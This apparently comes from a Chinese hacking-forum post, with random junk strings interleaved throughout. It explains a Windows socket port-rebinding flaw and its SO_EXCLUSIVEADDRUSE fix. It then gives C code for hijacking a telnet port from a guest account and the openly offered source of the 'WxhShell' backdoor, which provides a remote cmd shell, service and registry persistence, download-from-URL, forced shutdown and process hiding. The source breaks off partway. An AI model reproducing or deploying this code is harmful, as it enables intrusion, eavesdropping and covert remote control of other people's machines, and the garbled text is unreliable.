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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0gu_yg! R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +WZX.D B5,N7z34F saddr.sin_family = AF_INET; <X#C)-. ^7`BP%6 saddr.sin_addr.s_addr = htonl(INADDR_ANY); [>vLf2OID v1#otrf bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,X?{07gH h,(26 y/s 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CmWeY$Jb j}#w)M 这意味着什么?意味着可以进行如下的攻击: [DYQ"A=)d Ky`qskvu 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =?5]()'*n b.OsiT;_j 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h<h%*av|
(Nq=H)cm8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p
.%]Q*8 #]-SJWf3 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ;'gWu xW+6qtG` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9V a}I- '"52uZ{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QDZWX`qw{ m%0p\Y-/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i}(LqcYU Do9x
XK #include M.JA.I@XC #include `T1 #include }czrj%6 #include l&[O DWORD WINAPI ClientThread(LPVOID lpParam); gZVc 5u< int main() &L3M] { "6A
`
q\ WORD wVersionRequested; U%-A?5 DWORD ret; #j;^\rSv- WSADATA wsaData; &Hrj3E BOOL val; eB2a-, SOCKADDR_IN saddr; )J=! L\ SOCKADDR_IN scaddr; D2#ZpFp"h int err; I2XU(pYU SOCKET s; 6]i-E>p3R SOCKET sc; }YQX~=" int caddsize; Xa[.3=bV? HANDLE mt; aI'&O^w+ DWORD tid; >[)7U _|p wVersionRequested = MAKEWORD( 2, 2 ); A]*}HZ, err = WSAStartup( wVersionRequested, &wsaData ); fT|.@%"vc if ( err != 0 ) { Od,=mO*.Q printf("error!WSAStartup failed!\n"); ~"gA,e-) return -1; rV.}PtcFY } ` #0:gEo saddr.sin_family = AF_INET; ;J'LS 1> ?M>vK //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5; C| VCYwzB saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,};&tR saddr.sin_port = htons(23); #-rH1h3*q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fk7?xc { "> ypIR< printf("error!socket failed!\n"); $L`d&$Vh return -1; 8H[<X_/ke } Y+pHd\$-4 val = TRUE; TT%M'5& //SO_REUSEADDR选项就是可以实现端口重绑定的 v@sIHb if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qfF~D0} { D'>_I. printf("error!setsockopt failed!\n"); kb%;=t2 return -1; Xc++b|k } `b&%Hm //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j{ ]I]\=? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2F;y;l% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E#34Wh2z xh-o}8*n" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /A\8 mL8 { Ha#=(9. ret=GetLastError(); Ng&%o printf("error!bind failed!\n"); -
nm"of\o return -1; 2YL?,uLS } +bxYGD listen(s,2); KRbvj while(1) 1y&\5kB { >dXGee>'M caddsize = sizeof(scaddr); e)IzQ7Zex //接受连接请求 2y\E[j A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _rMg}F" if(sc!=INVALID_SOCKET) AF{\6<m { yZ7&b&2nLn mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (y'hyJo if(mt==NULL) Y;eZ9|Ht9 { b)#hSjWO# printf("Thread Creat Failed!\n"); -:^U_FL8un break; n)/z0n!\ } ZmqKQO } wVXS%4|v CloseHandle(mt); &<g|gsG` } Jumgb closesocket(s); &;6`)M{*} WSACleanup(); 1UgEI"#a6g return 0; `cn#B
BV } 2ACCh4(/P DWORD WINAPI ClientThread(LPVOID lpParam) H H)!_(SA { of~4Q{f$6 SOCKET ss = (SOCKET)lpParam; &3>)qul SOCKET sc; m,28u3@r unsigned char buf[4096]; cU (D{~ SOCKADDR_IN saddr; Y|m+dT6 long num; qArM|\l1 DWORD val; _{O>v\u DWORD ret; Mexk~zA^ //如果是隐藏端口应用的话,可以在此处加一些判断 ;a!S!%.h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 P{`C^W$J^ saddr.sin_family = AF_INET; M7\szv\Zc= saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fm%t^)E saddr.sin_port = htons(23); A|[?#S((] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @u+]aI!`- { FZQP%]FX printf("error!socket failed!\n"); r r %V.r;2 return -1; G>_*djUf } 2szPAuN+ val = 100; GAzU?a{S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H'5)UX@LP { eIF5ZPSZi ret = GetLastError(); "!P3R1;% return -1; %`r$g[<G } + J{IRyBc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) unzr0x
{ { `7Q<'oK ret = GetLastError(); gaxsv[W>^ return -1; P8
c`fbkX2 } A 'be8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YqD=>P[O { 3NqB
<J printf("error!socket connect failed!\n"); XX!%RE`M8 closesocket(sc); @7c?xQVd$ closesocket(ss); mIvx1_[ return -1; "{+QW } "cGk)s while(1) N% B>M7-= { wu6;.xTLl //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8rGgF]F //如果是嗅探内容的话,可以再此处进行内容分析和记录 g-k|>-h //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nAato\mM num = recv(ss,buf,4096,0); j_[tu!~ if(num>0) +E+p"7 send(sc,buf,num,0); z9Mfd#5?>P else if(num==0) E~T-=ocKE break; n6>#/eUH num = recv(sc,buf,4096,0); ]cvwIc"> if(num>0) 0auYG><= send(ss,buf,num,0); >uB?rGcM else if(num==0) 1\m[$Gs: break; ]A`n(
"% } iyE7V_O T closesocket(ss); Q*cf( closesocket(sc); <=&`ZH return 0 ; e"cXun4nS= } T{^rt3a ]0OR_'?, 2'Uu:Y^ ========================================================== J{<X7uB Hio0HL- 下边附上一个代码,,WXhSHELL :Ov6_x]* z6P$pqyF ========================================================== *a^(vo B mb0cFQ #include "stdafx.h" V &T~zh1 m7V/zne #include <stdio.h> w.o@7|B1N #include <string.h> W
i.&e #include <windows.h> VGN5<?PrN #include <winsock2.h> >6-`}G+| #include <winsvc.h> hfB%`x#akQ #include <urlmon.h> Uc>lGo1j Z\rwO>3 #pragma comment (lib, "Ws2_32.lib") 4"ZP 'I; #pragma comment (lib, "urlmon.lib") LOYk9m G!##X: 6' #define MAX_USER 100 // 最大客户端连接数 gJ+'W1$/ #define BUF_SOCK 200 // sock buffer VQ@ #define KEY_BUFF 255 // 输入 buffer
/maJtX' W@IQ^
}E #define REBOOT 0 // 重启 ,qwuLBW #define SHUTDOWN 1 // 关机 ue"~9JK. 3,w_".m`# #define DEF_PORT 5000 // 监听端口 H8jpxzXv 1GRCV8"Z^ #define REG_LEN 16 // 注册表键长度 >R_&Ouh: #define SVC_LEN 80 // NT服务名长度 J)>c9w _LnpnL: // 从dll定义API . Efk* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jpq~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pki%vRY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NxY#NaE:?4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T::85 ="H%6S4' // wxhshell配置信息 Fo_sgv8O< struct WSCFG { P+sW[: int ws_port; // 监听端口 J;e2&gB char ws_passstr[REG_LEN]; // 口令 Y=KT eYW` int ws_autoins; // 安装标记, 1=yes 0=no j (d~aqW char ws_regname[REG_LEN]; // 注册表键名 vr l-$ii char ws_svcname[REG_LEN]; // 服务名 Q&;9x? e char ws_svcdisp[SVC_LEN]; // 服务显示名 bJ%h53 char ws_svcdesc[SVC_LEN]; // 服务描述信息 "sCRdx]_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BO&bmfp7, int ws_downexe; // 下载执行标记, 1=yes 0=no 3hH<T.@) char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" b%`1cV char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;'K5J9k TdMruSY }; *fxG?}YT @. l@\4m // default Wxhshell configuration T -2t.Xs struct WSCFG wscfg={DEF_PORT, aXYY:; "xuhuanlingzhe", Y.UFbrv 1, 'H!Uh]! "Wxhshell", ,4$>,@WW~ "Wxhshell", 0OE:[pR "WxhShell Service", x9g#<2w8 "Wrsky Windows CmdShell Service", X_h}J=33Q "Please Input Your Password: ", cT,sh~-x, 1, m(!FHPvN " http://www.wrsky.com/wxhshell.exe", Fxz"DZY6 "Wxhshell.exe" xp{tw$ }; [q-h|m q9_OGd|P // 消息定义模块 "8MF_Gu): char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7$=InK char *msg_ws_prompt="\n\r? for help\n\r#>"; 0S~rgq|O char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; "+s++@
z char *msg_ws_ext="\n\rExit."; GefTdO.& char *msg_ws_end="\n\rQuit."; D>q9 3;p char *msg_ws_boot="\n\rReboot..."; GVn!O1jio char *msg_ws_poff="\n\rShutdown...";
Otuf]B^s char *msg_ws_down="\n\rSave to "; S\=Nn7" )t#W{Gzfmh char *msg_ws_err="\n\rErr!"; TJRCH>E[a char *msg_ws_ok="\n\rOK!"; ^h6tr8yn R 9\*#c char ExeFile[MAX_PATH]; Yq
KCeg int nUser = 0; %u'ukcL7 HANDLE handles[MAX_USER]; uXvtfc int OsIsNt; 0,")C5j ZE}}W_ SERVICE_STATUS serviceStatus; :I#V. SERVICE_STATUS_HANDLE hServiceStatusHandle; &QgR*,5eo Rm( "=( // 函数声明 } Kgy
int Install(void); /8S>;5hvK@ int Uninstall(void); T~e.PP int DownloadFile(char *sURL, SOCKET wsh); |{ip T SH int Boot(int flag); L8B!u9% void HideProc(void); 77Y/!~kd int GetOsVer(void); w?[u pn:K int Wxhshell(SOCKET wsl); Gc|idjW4 void TalkWithClient(void *cs); K"MX! int CmdShell(SOCKET sock); y6a3tG int StartFromService(void); 0 H:X3y+ int StartWxhshell(LPSTR lpCmdLine); WsB ?C&>x U xGApK=X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); * EH~_F VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1qA;/-Zr<o M= (u]%\ // 数据结构和表定义 !Uo4,g6r+ SERVICE_TABLE_ENTRY DispatchTable[] = "y}5;9#, { `c$V$/IT {wscfg.ws_svcname, NTServiceMain}, 9.#<b|g {NULL, NULL} mfr|:i }; z{QqY.Gu{G W=?<<dVYD // 自我安装 ?J0y| int Install(void) z24q3 3O { 2?Vd 5xkt char svExeFile[MAX_PATH]; 6gDN`e,@ HKEY key; L4W5EO$ strcpy(svExeFile,ExeFile); tw@X>
G1z PJ#,2=n~ // 如果是win9x系统,修改注册表设为自启动 ~n_HP_Kf? if(!OsIsNt) { He@KV= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^\m![T\bX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TWTb?HP RegCloseKey(key); f o3}W^0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;uGv:$([g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F+qm[Bc8 RegCloseKey(key); flx(HJK return 0; @6.vKCSE } ]SEZaT } sI2^Qp@O1 } $??I/6 else { %hP^%'G HzsdHH(J // 如果是NT以上系统,安装为系统服务 4xj4=C~i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X?Q4} Y if (schSCManager!=0) h";L { 53h0UL SC_HANDLE schService = CreateService ca9X19NG ( ckn(`I schSCManager, {!`6zBsP wscfg.ws_svcname, HzJz+ x: wscfg.ws_svcdisp, lOp`m8_= SERVICE_ALL_ACCESS, 8@R|Km5h SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Fr-SvsNFB SERVICE_AUTO_START, 7tp36 TE SERVICE_ERROR_NORMAL, l[J8!u2Xp svExeFile, 4,ag(^}= NULL, zt%Mx>V@ NULL, WIGi51yC.x NULL, cMIEtK` NULL, ALHIGJW:6$ NULL 8P`"M#fI ); eMzk3eOJ if (schService!=0) K=&>t6s< { *qq+jsA6wH CloseServiceHandle(schService); XWw804ir CloseServiceHandle(schSCManager); Zd+bx*rD strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (@YG~0 strcat(svExeFile,wscfg.ws_svcname); %TqC/c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b.938#3, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <UCl@5g& RegCloseKey(key); /wG2vE8e return 0; ?JUeuNs9 } O6Y0XL } :T~ [ CloseServiceHandle(schSCManager); EQ_aa@M7 } dRMx[7jVA } :Dp0?&_ F'Z,]b'st3 return 1; w-jVC^C] } )/P}?`I
lhJ'bYI // 自我卸载 uAk.@nfiEv int Uninstall(void) p
ll)Y { $[|mGae HKEY key; *1"+%Z^ =~gvZV-< if(!OsIsNt) { 9YGY,sx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JXxwr)i RegDeleteValue(key,wscfg.ws_regname); +C)~bb* RegCloseKey(key); /wv0i3_e
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <3
uNl RegDeleteValue(key,wscfg.ws_regname); 'ga/ RegCloseKey(key); VU#7%ufu& return 0; jiGTA:v } pfPz8L.7 } wuBPfb } !u hT else { Gm`8q}<I .)3 <Q}> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A%vbhD2;W if (schSCManager!=0) {`_i` { +T+#q@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \. S/| if (schService!=0) $;PMkUE { F"kAkX>3} if(DeleteService(schService)!=0) { "M0z(NkH CloseServiceHandle(schService); 9H~n_ CloseServiceHandle(schSCManager); [>9is=>o. return 0; gDzK{6Z} } =pr7G+_u CloseServiceHandle(schService); XP}<N&j } A}w/OA97RO CloseServiceHandle(schSCManager); G/W>S,( } u@444Vzg } QWU-m{@~& O&&~NXI\ return 1; 3U}%2ARo_ } HKe K<V BLFdHB.$T // 从指定url下载文件 8,|k ao: int DownloadFile(char *sURL, SOCKET wsh) I 6O { bMBLXk HRESULT hr; d 'ifLQ\ char seps[]= "/"; 1H9!5=Ff char *token; z!\*Y
=e char *file; r|Z{-*` char myURL[MAX_PATH]; 3XKf!P char myFILE[MAX_PATH]; k{0o9, ipz5 H* strcpy(myURL,sURL); !~Z"9(v'C token=strtok(myURL,seps); ,//S`j$S while(token!=NULL) 8EY:tzw { (%9$! v{3 file=token; 0 {mex4 token=strtok(NULL,seps); Zd&S@Z } ('~LMu_ &Qm@9I s GetCurrentDirectory(MAX_PATH,myFILE); ,,TnIouy strcat(myFILE, "\\"); qP;OaM
CX strcat(myFILE, file); W3RT{\ send(wsh,myFILE,strlen(myFILE),0); *ui</+ send(wsh,"...",3,0); 6B-16 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t,'<gI if(hr==S_OK) JtZ7ti return 0; 5-M-X#( else AwN!;t_0+N return 1; s^SJY{ ]^]wP]R_ } t<qiGDJ<d nFn5v'g // 系统电源模块 N g,j# int Boot(int flag) V.Mry`9- {
5dg(e3T HANDLE hToken; p[cX O= TOKEN_PRIVILEGES tkp; adw2x pj .(vwIb8\_ if(OsIsNt) { %)wjR/o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hv, LS;W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2pAW9R#UV- tkp.PrivilegeCount = 1; v0y(58Rz. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0IpmRH/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r*Xuj= if(flag==REBOOT) { ;rS{: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KlqY@Xt return 0; Js;h% } hOeRd#AQK else { z)"=:o7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~XIb\m9H return 0; ,0k;!YK } f!"w5qC^ } E_`=7i else { g78^9Y*1 if(flag==REBOOT) { E.f%H(b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ep}s}Stlr} return 0; uw7zWJ
n } tVjsRnb{ else { M(fTKs if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s @C}P return 0; =Sv/IXX\di } YK\X+"lB } ])!*_ /(LL3cZK return 1; `x|?&Ytmf9 } p#Bi>/C6 Z]ONh // win9x进程隐藏模块 <}LC~B! void HideProc(void) ;PH~<T { #1[u(<AS rs.)CMk53 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =T_g}pu if ( hKernel != NULL ) BuwY3F\-O { 4R*,VR.K pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #b`ke/P ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fZ. ONq FreeLibrary(hKernel); *](iS }
l^qI,M _j3f Ar(V return; |{8Pb3#U } 626r^c= rGO8!X 3d // 获取操作系统版本 :-'qC8C int GetOsVer(void) ]{iQ21`a- { $^P0F9~0 OSVERSIONINFO winfo; ZW}_DT0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8_8l.!~ GetVersionEx(&winfo); nR~(0G,H if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nK,w]{<wG! return 1; hQi2U else }*-@!wc-N return 0; 9iq_rd] } o@Oqm> ]SS nlYNN/@" // 客户端句柄模块 OCUr{Nh int Wxhshell(SOCKET wsl) kl`W\t F { HhpDR SOCKET wsh; G?ZXWu. struct sockaddr_in client; ;fJ.8C DWORD myID; TN.rrop`#g uS-|wYE while(nUser<MAX_USER) 2?5>o!C { q@qsp&0/ int nSize=sizeof(client); /ouPg=+Nl wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e!Hh s/&!T if(wsh==INVALID_SOCKET) return 1; _^;Z~/. :
'c&,oLY handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xmG<]WF>E if(handles[nUser]==0) {FGj]* closesocket(wsh); ""H?gsL[ else hj:,S| nUser++; d@^ZSy>L2 } u"8yK5! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g{Rd=1SK] $Y;RKe9 return 0; U17d>]ka } ~zgGa:uU 7"##]m. // 关闭 socket %$I;{-LD void CloseIt(SOCKET wsh) rUl+ { %*U'@r(A closesocket(wsh); 9z0p5)]n> nUser--; phK/ ExitThread(0); |zU-KGO& } XkqCZHYkS I*&8^r:A // 客户端请求句柄 #QPjkR|\ void TalkWithClient(void *cs) qLCR] _* { 2|,VqVb C+]I@Go'Tk SOCKET wsh=(SOCKET)cs; -} +[ char pwd[SVC_LEN]; u!s2BC0}N char cmd[KEY_BUFF]; ~@!bsLSMU char chr[1]; I|OoRq int i,j; R/_&m$ZB %C0Dw\A*: while (nUser < MAX_USER) { B[}6-2<>?C H.;Q+A,8^ if(wscfg.ws_passstr) { \!(zrfP{( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E@\e$?*X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LscGTs, //ZeroMemory(pwd,KEY_BUFF); GB^B r6 i=0; 9$Y=orpWxr while(i<SVC_LEN) { i1085ztN H::bwn`Vc // 设置超时 CAlCDfKW} fd_set FdRead; @d_M@\r=j struct timeval TimeOut; KXrjqqXs FD_ZERO(&FdRead); E{\2='3\ FD_SET(wsh,&FdRead); Y@v>FlqI{ TimeOut.tv_sec=8; YQ}o?Q$z TimeOut.tv_usec=0; Fcx&hj1gQ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .X&9Q9T=# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^pS~Z~[d/
jo7\`#(Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t:S+%u U pwd =chr[0]; LP-o8c if(chr[0]==0xd || chr[0]==0xa) { =AT."$r>
pwd=0; b$7 +;I; break; IgzQr > } 3R/bz0 V> i++; 'R)Tn!6 } KoRV%@I rjP/l6
~' // 如果是非法用户,关闭 socket 0_/[k*Re if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y}
'@R$ } 2!\DPX iCoX&"lb send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e.%nRhSs3 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8|^7ai[am wL'C1Vr while(1) { }1\?()rB j%GbgJ ZeroMemory(cmd,KEY_BUFF); ]kH}lr
yG Qasr:p+ // 自动支持客户端 telnet标准 &X7ttB"#h j=0; t*rp3BIG while(j<KEY_BUFF) { EUXV/QV{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iGyVG41U cmd[j]=chr[0]; 4Q/r[x/&C if(chr[0]==0xa || chr[0]==0xd) { A<;0L . J cmd[j]=0; ?PYNE break; V!}L<cN } u-1@~Z j++; ,iohfZz } >T(M0Tkt !~tnti6 // 下载文件 YN`UTi\s if(strstr(cmd,"http://")) { x:vrK#8D> send(wsh,msg_ws_down,strlen(msg_ws_down),0); n=r=u'oi if(DownloadFile(cmd,wsh)) 0 c,bet{m send(wsh,msg_ws_err,strlen(msg_ws_err),0); dgm+U%E else &F86SrsI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *+&z|Pwv[^ } hxP6C6S else { w4`!Te `GP3D~ switch(cmd[0]) { 7ia"u+Y ]P
JH'= // 帮助 I_K[!4~Kn case '?': { fyGCfM send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *;Ak5.du break; @],Z 2 } `2sdZ/fO // 安装 .k
p$oAL case 'i': { ^]KIgGv\ if(Install()) V_ {vZ/0e send(wsh,msg_ws_err,strlen(msg_ws_err),0); enWF7` else yi&?d&rK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !OV|I break; 5~*=#v:` } x ru(Le}E // 卸载 F: f2s:< case 'r': { ?UU5hek+m if(Uninstall()) 5wy;8a send(wsh,msg_ws_err,strlen(msg_ws_err),0); fHW-Je7mG else %!>k#F^S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s}Xi2^x break; -%saeX Wo } d4[poi ~ // 显示 wxhshell 所在路径 2f s9JP{^0 case 'p': { `x5ll;"J char svExeFile[MAX_PATH]; $Gr4sh!cE strcpy(svExeFile,"\n\r"); (di)`D5Q strcat(svExeFile,ExeFile); OE5 X8DqQe send(wsh,svExeFile,strlen(svExeFile),0); d5N)^\z break; ;&/sj-xJ2 } [))gn // 重启 aS3P(s L case 'b': { >9<_s
^_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6R0D3kW if(Boot(REBOOT)) }3bQ>whF send(wsh,msg_ws_err,strlen(msg_ws_err),0); K
lPm= else { U$MWsDn
closesocket(wsh); [B.W1 GL! ExitThread(0); pq%t@j(X } y-D>xV)n break; p!. / } F%w\D9+P // 关机 E
`?S!*jm case 'd': { e-&L\M send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JkRGt Yq if(Boot(SHUTDOWN)) 9)8*FahW send(wsh,msg_ws_err,strlen(msg_ws_err),0); R:SIs\%o else { Vj?*=UL closesocket(wsh); hnH)Jy;> ExitThread(0); 4da^d9ZOy } cYBrRTrI# break; {LjK_J' } x(exx
)w // 获取shell o}5'v^"6, case 's': { )G}sb*+v? CmdShell(wsh);
J(H??9(s closesocket(wsh); { mK pD ExitThread(0); [~zE,! break; =M Q2sb } X20<r?^,, // 退出 :7zI3Ml@7 case 'x': { 1c1e+H send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EU`'
8*4 CloseIt(wsh); V3aY]#Su break; B3ohHxHu } ,C5@P+A // 离开 $`cy'ZaF case 'q': { @B}&62T send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yb,G^+; closesocket(wsh); S(q4OQB{ WSACleanup(); e7)> U!9c9 exit(1); z:@d@\$? break; 0j-F6a*p'1 } VQZT.^ } bQ${8ZO } Udb0&Y1^ pO-)x:Wg // 提示信息 gDUoc*+h if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s (l+{b & } o(S^1j5 } B8P@D"u Dg ?Ho2ih return; @U7U?.p } +btP]?04 }WBm%f // shell模块句柄 T%z!+/=&^ int CmdShell(SOCKET sock) 2n"*)3Qj { X.r!q1_c STARTUPINFO si; rzc 3k~@ ZeroMemory(&si,sizeof(si)); % B7?l si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AZBY, :>D si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]G$!/vXP PROCESS_INFORMATION ProcessInfo; ;NvhL|R char cmdline[]="cmd"; lcuH]z CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {Hrr:hC return 0; OP\^c } O~c+$( tPMgZ // 自身启动模式 0|f_C3 int StartFromService(void) 8.
~Euz { 0^|$cvYiL typedef struct -v/?> { 7ZR0M&pX DWORD ExitStatus; rK0|9^i{ DWORD PebBaseAddress; J}93u(T5 DWORD AffinityMask; ~h~r]tV*+ DWORD BasePriority; ZFd{q)qe ULONG UniqueProcessId; `rRg(fCN!M ULONG InheritedFromUniqueProcessId; _YD<Q@ } PROCESS_BASIC_INFORMATION; +eH=;8 (\AszLW PROCNTQSIP NtQueryInformationProcess; iIC9rso"Q1 ).@)t:uNa static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !*$'fn'bAA static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h;mQ%9 Yd rkER` HANDLE hProcess; jw6 ng>9 PROCESS_BASIC_INFORMATION pbi; j2C^1:s@m ^{:[^$f:l HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s^x ,S if(NULL == hInst ) return 0; *jqPKK/ '! 2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 